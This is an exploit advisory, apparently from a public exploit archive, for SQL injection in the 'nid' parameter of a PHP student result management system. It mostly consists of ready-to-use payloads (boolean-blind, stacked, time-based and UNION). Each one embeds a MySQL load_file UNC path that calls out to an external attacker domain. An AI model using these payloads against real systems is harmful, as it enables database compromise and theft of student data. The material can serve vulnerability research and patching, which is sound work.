## Titles: UP-RESULT[pro-1.0] Multiple-SQLi
## Author: nu11secur1ty
## Date: 10/28/2024
## Vendor: https://mayurik.com/
## Software:
https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `nid` parameter appears to be vulnerable to SQL injection attacks. The
payload '+(select load_file('\\\\
p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\eej'))+' was
submitted in the nid parameter. This payload injects a SQL sub-query that
calls MySQL's load_file function with a UNC file path that references a URL
on an external domain. The application interacted with that domain,
indicating that the injected SQL query was executed. The attacker can get
all sensitive information from this system when he attacks it online!

STATUS: HIGH- Vulnerability


[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: nid=2'+(select load_file('\\\\
p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\eej'))+'' OR NOT
9142=9142 AND 'bbjg'='bbjg

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: nid=2'+(select load_file('\\\\
p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\eej'))+'';SELECT
SLEEP(7)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: nid=2'+(select load_file('\\\\
p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\eej'))+'' AND
(SELECT 9083 FROM (SELECT(SLEEP(7)))YMvG) AND 'jiLE'='jiLE

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: nid=2'+(select load_file('\\\\
p2scekbx5ka4v4drqw3isn2svj1cp5dwgk77xvm.tupa_putka.com\\eej'))+'' UNION ALL
SELECT
NULL,CONCAT(0x7178767871,0x6467686f7670716c49467649584a4744416775554961485747416c4b724977454f75787267707268,0x7162627a71),NULL,NULL#
---
```

## Reproduce:
[href](https://www.patreon.com/posts/up-result-pro-1-114856979)

## Demo PoC:
[href](
https://www.nu11secur1ty.com/2024/10/up-resultpro-10-multiple-sqli.html)

## Time spent:
01:27:00